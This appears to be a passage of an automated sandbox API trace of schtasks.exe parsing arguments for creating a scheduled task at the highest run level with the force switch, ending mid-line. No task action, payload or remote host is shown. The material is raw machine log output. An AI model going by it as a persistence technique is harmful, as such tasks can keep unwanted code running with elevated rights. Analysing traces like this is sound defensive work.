RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.029] lstrlenW (lpString="showsid") returned 7 [0115.029] lstrlenW (lpString="showsid") returned 7 [0115.029] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.029] lstrlenW (lpString="rl") returned 2 [0115.029] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.029] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0xa, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|showsid|") returned 9 [0115.029] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|rl|") returned 4 [0115.029] lstrlenW (lpString="|showsid|") returned 9 [0115.029] lstrlenW (lpString="|rl|") returned 4 [0115.029] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0115.029] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.029] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.029] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.029] lstrlenW (lpString="/rl") returned 3 [0115.029] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0115.029] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.029] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.029] lstrlenW (lpString="/rl") returned 3 [0115.029] GetProcessHeap () returned 0x29464740000 [0115.029] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x8) returned 0x294647447f0 [0115.029] GetProcessHeap () returned 0x29464740000 [0115.029] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474b6c0 [0115.029] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.029] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.029] lstrlenW (lpString="HIGHEST") returned 7 [0115.029] lstrlenW (lpString="-/") returned 2 [0115.029] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0115.029] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.029] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.030] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.030] lstrlenW (lpString="HIGHEST") returned 7 [0115.030] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0115.030] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.030] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.030] lstrlenW (lpString="HIGHEST") returned 7 [0115.030] GetProcessHeap () returned 0x29464740000 [0115.030] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x10) returned 0x2946474aad0 [0115.030] GetProcessHeap () returned 0x29464740000 [0115.030] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474b780 [0115.030] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.030] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.030] lstrlenW (lpString="/f") returned 2 [0115.030] lstrlenW (lpString="-/") returned 2 [0115.030] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.030] lstrlenW (lpString="?") returned 1 [0115.030] lstrlenW (lpString="?") returned 1 [0115.030] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.030] lstrlenW (lpString="f") returned 1 [0115.030] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.030] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|?|") returned 3 [0115.030] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|f|") returned 3 [0115.030] lstrlenW (lpString="|?|") returned 3 [0115.030] lstrlenW (lpString="|f|") returned 3 [0115.030] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0115.030] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.030] lstrlenW (lpString="create") returned 6 [0115.030] lstrlenW (lpString="create") returned 6 [0115.030] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.030] lstrlenW (lpString="f") returned 1 [0115.031] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.031] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|create|") returned 8 [0115.031] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|f|") returned 3 [0115.031] lstrlenW (lpString="|create|") returned 8 [0115.031] lstrlenW (lpString="|f|") returned 3 [0115.031] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0115.031] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.031] lstrlenW (lpString="delete") returned 6 [0115.031] lstrlenW (lpString="delete") returned 6 [0115.031] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.031] lstrlenW (lpString="f") returned 1 [0115.031] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.031] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|delete|") returned 8 [0115.031] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|f|") returned 3 [0115.031] lstrlenW (lpString="|delete|") returned 8 [0115.031] lstrlenW (lpString="|f|") returned 3 [0115.031] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0115.031] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.031] lstrlenW (lpString="query") returned 5 [0115.031] lstrlenW (lpString="query") returned 5 [0115.031] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.031] lstrlenW (lpString="f") returned 1 [0115.031] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.031] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x8, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|query|") returned 7 [0115.031] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|f|") returned 3 [0115.031] lstrlenW (lpString="|query|") returned 7 [0115.032] lstrlenW (lpString="|f|") returned 3 [0115.032] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0115.032] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.032] lstrlenW (lpString="change") returned 6 [0115.032] lstrlenW (lpString="change") returned 6 [0115.032] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.032] lstrlenW (lpString="f") returned 1 [0115.032] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.032] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|change|") returned 8 [0115.032] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|f|") returned 3 [0115.032] lstrlenW (lpString="|change|") returned 8 [0115.032] lstrlenW (lpString="|f|") returned 3 [0115.032] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0115.032] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.032] lstrlenW (lpString="run") returned 3 [0115.032] lstrlenW (lpString="run") returned 3 [0115.032] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.032] lstrlenW (lpString="f") returned 1 [0115.032] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.032] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|run|") returned 5 [0115.032] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|f|") returned 3 [0115.032] lstrlenW (lpString="|run|") returned 5 [0115.032] lstrlenW (lpString="|f|") returned 3 [0115.032] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0115.032] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.032] lstrlenW (lpString="end") returned 3 [0115.032] lstrlenW (lpString="end") returned 3 [0115.032] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.033] lstrlenW (lpString="f") returned 1 [0115.033] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.033] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|end|") returned 5 [0115.033] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|f|") returned 3 [0115.033] lstrlenW (lpString="|end|") returned 5 [0115.033] lstrlenW (lpString="|f|") returned 3 [0115.033] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0115.033] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.033] lstrlenW (lpString="showsid") returned 7 [0115.033] lstrlenW (lpString="showsid") returned 7 [0115.033] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.033] lstrlenW (lpString="f") returned 1 [0115.033] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.033] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0xa, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|showsid|") returned 9 [0115.033] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|f|") returned 3 [0115.033] lstrlenW (lpString="|showsid|") returned 9 [0115.033] lstrlenW (lpString="|f|") returned 3 [0115.033] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0115.033] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.033] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.033] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.033] lstrlenW (lpString="/f") returned 2 [0115.033] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0115.033] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.033] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.033] lstrlenW (lpString="/f") returned 2 [0115.033] GetProcessHeap () returned 0x29464740000 [0115.033] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x6) returned 0x29464744810 [0115.033] GetProcessHeap () returned 0x29464740000 [0115.034] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474ba20 [0115.034] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.034] GetProcessHeap () returned 0x29464740000 [0115.034] GetProcessHeap () returned 0x29464740000 [0115.034] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464743980) returned 1 [0115.034] GetProcessHeap () returned 0x29464740000 [0115.034] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464743980) returned 0x8 [0115.034] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464743980) returned 1 [0115.034] GetProcessHeap () returned 0x29464740000 [0115.034] GetProcessHeap () returned 0x29464740000 [0115.034] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474ba80) returned 1 [0115.034] GetProcessHeap () returned 0x29464740000 [0115.034] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474ba80) returned 0x20 [0115.034] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474ba80) returned 1 [0115.034] GetProcessHeap () returned 0x29464740000 [0115.034] GetProcessHeap () returned 0x29464740000 [0115.034] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474a9f0) returned 1 [0115.034] GetProcessHeap () returned 0x29464740000 [0115.034] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474a9f0) returned 0x10 [0115.034] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474a9f0) returned 1 [0115.034] GetProcessHeap () returned 0x29464740000 [0115.035] GetProcessHeap () returned 0x29464740000 [0115.035] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474b4b0) returned 1 [0115.035] GetProcessHeap () returned 0x29464740000 [0115.035] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474b4b0) returned 0x20 [0115.035] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474b4b0) returned 1 [0115.035] GetProcessHeap () returned 0x29464740000 [0115.035] GetProcessHeap () returned 0x29464740000 [0115.035] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x294647439a0) returned 1 [0115.035] GetProcessHeap () returned 0x29464740000 [0115.035] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x294647439a0) returned 0x8 [0115.035] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x294647439a0) returned 1 [0115.035] GetProcessHeap () returned 0x29464740000 [0115.035] GetProcessHeap () returned 0x29464740000 [0115.035] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474b750) returned 1 [0115.035] GetProcessHeap () returned 0x29464740000 [0115.035] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474b750) returned 0x20 [0115.035] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474b750) returned 1 [0115.035] GetProcessHeap () returned 0x29464740000 [0115.035] GetProcessHeap () returned 0x29464740000 [0115.035] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474ac10) returned 1 [0115.035] GetProcessHeap () returned 0x29464740000 [0115.035] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474ac10) returned 0x10 [0115.036] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474ac10) returned 1 [0115.036] GetProcessHeap () returned 0x29464740000 [0115.036] GetProcessHeap () returned 0x29464740000 [0115.036] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474b660) returned 1 [0115.036] GetProcessHeap () returned 0x29464740000 [0115.036] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474b660) returned 0x20 [0115.036] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474b660) returned 1 [0115.036] GetProcessHeap () returned 0x29464740000 [0115.036] GetProcessHeap () returned 0x29464740000 [0115.036] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464744720) returned 1 [0115.036] GetProcessHeap () returned 0x29464740000 [0115.036] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464744720) returned 0x8 [0115.036] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464744720) returned 1 [0115.036] GetProcessHeap () returned 0x29464740000 [0115.036] GetProcessHeap () returned 0x29464740000 [0115.036] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474bae0) returned 1 [0115.036] GetProcessHeap () returned 0x29464740000 [0115.036] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474bae0) returned 0x20 [0115.036] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474bae0) returned 1 [0115.036] GetProcessHeap () returned 0x29464740000 [0115.037] GetProcessHeap () returned 0x29464740000 [0115.037] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464743ba0) returned 1 [0115.037] GetProcessHeap () returned 0x29464740000 [0115.037] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464743ba0) returned 0x9a [0115.037] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464743ba0) returned 1 [0115.037] GetProcessHeap () returned 0x29464740000 [0115.037] GetProcessHeap () returned 0x29464740000 [0115.037] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474b690) returned 1 [0115.037] GetProcessHeap () returned 0x29464740000 [0115.037] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474b690) returned 0x20 [0115.037] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474b690) returned 1 [0115.037] GetProcessHeap () returned 0x29464740000 [0115.037] GetProcessHeap () returned 0x29464740000 [0115.037] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x294647447f0) returned 1 [0115.037] GetProcessHeap () returned 0x29464740000 [0115.037] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x294647447f0) returned 0x8 [0115.037] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x294647447f0) returned 1 [0115.037] GetProcessHeap () returned 0x29464740000 [0115.037] GetProcessHeap () returned 0x29464740000 [0115.037] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474b6c0) returned 1 [0115.037] GetProcessHeap () returned 0x29464740000 [0115.037] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474b6c0) returned 0x20 [0115.038] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474b6c0) returned 1 [0115.038] GetProcessHeap () returned 0x29464740000 [0115.038] GetProcessHeap () returned 0x29464740000 [0115.038] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474aad0) returned 1 [0115.038] GetProcessHeap () returned 0x29464740000 [0115.038] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474aad0) returned 0x10 [0115.038] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474aad0) returned 1 [0115.038] GetProcessHeap () returned 0x29464740000 [0115.038] GetProcessHeap () returned 0x29464740000 [0115.038] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474b780) returned 1 [0115.038] GetProcessHeap () returned 0x29464740000 [0115.038] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474b780) returned 0x20 [0115.038] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474b780) returned 1 [0115.038] GetProcessHeap () returned 0x29464740000 [0115.038] GetProcessHeap () returned 0x29464740000 [0115.038] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464744810) returned 1 [0115.038] GetProcessHeap () returned 0x29464740000 [0115.038] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464744810) returned 0x6 [0115.038] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464744810) returned 1 [0115.038] GetProcessHeap () returned 0x29464740000 [0115.039] GetProcessHeap () returned 0x29464740000 [0115.039] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474ba20) returned 1 [0115.039] GetProcessHeap () returned 0x29464740000 [0115.039] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474ba20) returned 0x20 [0115.039] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474ba20) returned 1 [0115.039] GetProcessHeap () returned 0x29464740000 [0115.039] GetProcessHeap () returned 0x29464740000 [0115.039] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464744ef0) returned 1 [0115.039] GetProcessHeap () returned 0x29464740000 [0115.039] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x29464744ef0) returned 0x18 [0115.039] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x29464744ef0) returned 1 [0115.039] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.039] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0115.039] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0115.039] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0115.039] RtlVerifyVersionInfo (VersionInfo=0xb30e32c630, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0115.040] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.040] lstrlenW (lpString="create") returned 6 [0115.040] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0115.040] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.040] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.040] lstrlenW (lpString="create") returned 6 [0115.040] GetProcessHeap () returned 0x29464740000 [0115.040] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474b9c0 [0115.040] GetProcessHeap () returned 0x29464740000 [0115.040] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x18) returned 0x2946474ab10 [0115.040] _memicmp (_Buf1=0x2946474ab10, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.040] GetProcessHeap () returned 0x29464740000 [0115.040] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x16) returned 0x2946474aab0 [0115.040] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.040] _memicmp (_Buf1=0x29464744520, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.040] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x29464749b80, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0115.040] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xb30e32c788 | out: lpdwHandle=0xb30e32c788) returned 0x76c [0115.040] GetProcessHeap () returned 0x29464740000 [0115.041] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x776) returned 0x2946474bdc0 [0115.041] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2946474bdc0 | out: lpData=0x2946474bdc0) returned 1 [0115.041] VerQueryValueW (in: pBlock=0x2946474bdc0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xb30e32c720, puLen=0xb30e32c780 | out: lplpBuffer=0xb30e32c720*=0x2946474c170, puLen=0xb30e32c780) returned 1 [0115.041] _memicmp (_Buf1=0x29464744520, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.041] _vsnwprintf (in: _Buffer=0x29464749b80, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xb30e32c6f8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0115.041] VerQueryValueW (in: pBlock=0x2946474bdc0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xb30e32c710, puLen=0xb30e32c778 | out: lplpBuffer=0xb30e32c710*=0x2946474bfa0, puLen=0xb30e32c778) returned 1 [0115.041] lstrlenW (lpString="schtasks.exe") returned 12 [0115.041] lstrlenW (lpString="schtasks.exe") returned 12 [0115.041] lstrlenW (lpString=".EXE") returned 4 [0115.041] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0115.041] lstrlenW (lpString="schtasks.exe") returned 12 [0115.041] lstrlenW (lpString=".EXE") returned 4 [0115.041] lstrlenW (lpString="schtasks") returned 8 [0115.041] lstrlenW (lpString="/create") returned 7 [0115.041] _memicmp (_Buf1=0x29464744520, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.041] _vsnwprintf (in: _Buffer=0x29464749b80, _BufferCount=0x19, _Format="%s %s", _ArgList=0xb30e32c6f8 | out: _Buffer="schtasks /create") returned 16 [0115.041] _memicmp (_Buf1=0x29464744340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.042] GetProcessHeap () returned 0x29464740000 [0115.042] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474b840 [0115.042] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.042] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0115.042] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0115.042] GetProcessHeap () returned 0x29464740000 [0115.042] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x30) returned 0x294647447f0 [0115.042] _vsnwprintf (in: _Buffer=0x29464744360, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xb30e32c6f8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0115.042] GetProcessHeap () returned 0x29464740000 [0115.042] GetProcessHeap () returned 0x29464740000 [0115.042] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474bdc0) returned 1 [0115.042] GetProcessHeap () returned 0x29464740000 [0115.042] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474bdc0) returned 0x776 [0115.042] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474bdc0) returned 1 [0115.042] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.042] GetThreadLocale () returned 0x409 [0115.042] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.043] lstrlenW (lpString="create") returned 6 [0115.043] GetThreadLocale () returned 0x409 [0115.043] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.043] lstrlenW (lpString="?") returned 1 [0115.043] GetThreadLocale () returned 0x409 [0115.043] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.043] lstrlenW (lpString="s") returned 1 [0115.043] GetThreadLocale () returned 0x409 [0115.043] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.043] lstrlenW (lpString="u") returned 1 [0115.043] GetThreadLocale () returned 0x409 [0115.043] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.043] lstrlenW (lpString="p") returned 1 [0115.043] GetThreadLocale () returned 0x409 [0115.043] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.043] lstrlenW (lpString="ru") returned 2 [0115.043] GetThreadLocale () returned 0x409 [0115.043] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.063] lstrlenW (lpString="rp") returned 2 [0115.063] GetThreadLocale () returned 0x409 [0115.063] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.063] lstrlenW (lpString="sc") returned 2 [0115.063] GetThreadLocale () returned 0x409 [0115.063] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.063] lstrlenW (lpString="mo") returned 2 [0115.063] GetThreadLocale () returned 0x409 [0115.064] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.064] lstrlenW (lpString="d") returned 1 [0115.064] GetThreadLocale () returned 0x409 [0115.064] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.064] lstrlenW (lpString="m") returned 1 [0115.064] GetThreadLocale () returned 0x409 [0115.064] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.064] lstrlenW 